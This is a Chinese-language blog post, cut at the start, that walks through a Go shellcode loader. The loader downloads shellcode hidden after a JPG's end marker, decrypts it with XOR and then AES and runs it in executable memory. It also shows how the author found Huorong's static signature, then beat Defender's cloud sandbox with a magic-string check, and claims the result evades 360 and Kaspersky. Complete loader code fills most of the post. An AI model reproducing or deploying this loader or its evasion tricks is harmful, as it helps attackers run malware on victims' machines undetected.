"net/http"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 58
KEY_2 = 69
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
// imageURL := "http://127.0.0.1:8000/1.jpg"
imageURL := os.Args[1]
resp, err := http.Get(imageURL)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString := string(b[idx+2:])
decodeBytes, err := base64.StdEncoding.DecodeString(encodeString)
if err != nil {
log.Fatalln(err)
}
var shellcode []byte
for i := 0; i < len(decodeBytes); i++ {
shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)
}
//fmt.Println(shellcode)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
将shellcode通过两次异或,然后再base64加密,将加密过后的shellcode,追加到jpg图片后面,通过loader去加载这个图片里的shellcode,从而上线。
编译后,静态被火绒杀掉:
fuzz源代码:
当时怀疑是这里,通过读取到参数(图片路径),直接从图片里接收shellcode去加载,
注释掉这部分:
编译执行,继续报毒:
继续fuzz,将解密这行注释掉:
杀软不在报毒
目标缩小到
shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)
因为这只是一个加载器,图片以参数形式加载,而且加载器被静态杀掉,所以与shellcode无关,那问题就只可能出在异或上了
将异或改为加:
shellcode = append(shellcode, decodeBytes[i]+KEY_1+KEY_2)
这里就锁定了火绒查杀的点:查杀异或,只要换一种加密方式就好了。
如aes:
loader.go
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var iv = "0000000000000000"
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else if strings.Contains(arg1, "=====18jokriwow0") {
encodeString = arg1
} else {
fmt.Println("a")
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"
sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
动态被杀
在写loader时,遇到这样一种情况,defender、360落地不杀,defender云查杀扫描后被杀:
当时loader是这样:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var iv = "0000000000000000"
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else {
encodeString = arg1
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"
sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
loader有两种上线方式,首先判断参数中是否有"http",如果有就去请求链接,否则直接解密并加载shellcode。
想到落地不被杀,云查杀之后被杀,怀疑被跑沙箱,提取了第二种上线方式的动作:
于是修改loader
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var iv = "0000000000000000"
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else if strings.Contains(arg1, "=====18jokriwow0") {
encodeString = arg1
} else {
fmt.Println("a")
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"
sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
在生成加密的shellcode时,会在后缀随机添加一段字符串,只有匹配到该字符串,才运行第二种上线方式,若两者(既不含有"http"又不含有特殊字符)都不成立,则打印a(fmt.Println("a"))。顺利过defender、360、卡巴等。。。
好了,今天的分享就到这里,有问题的话评论区见。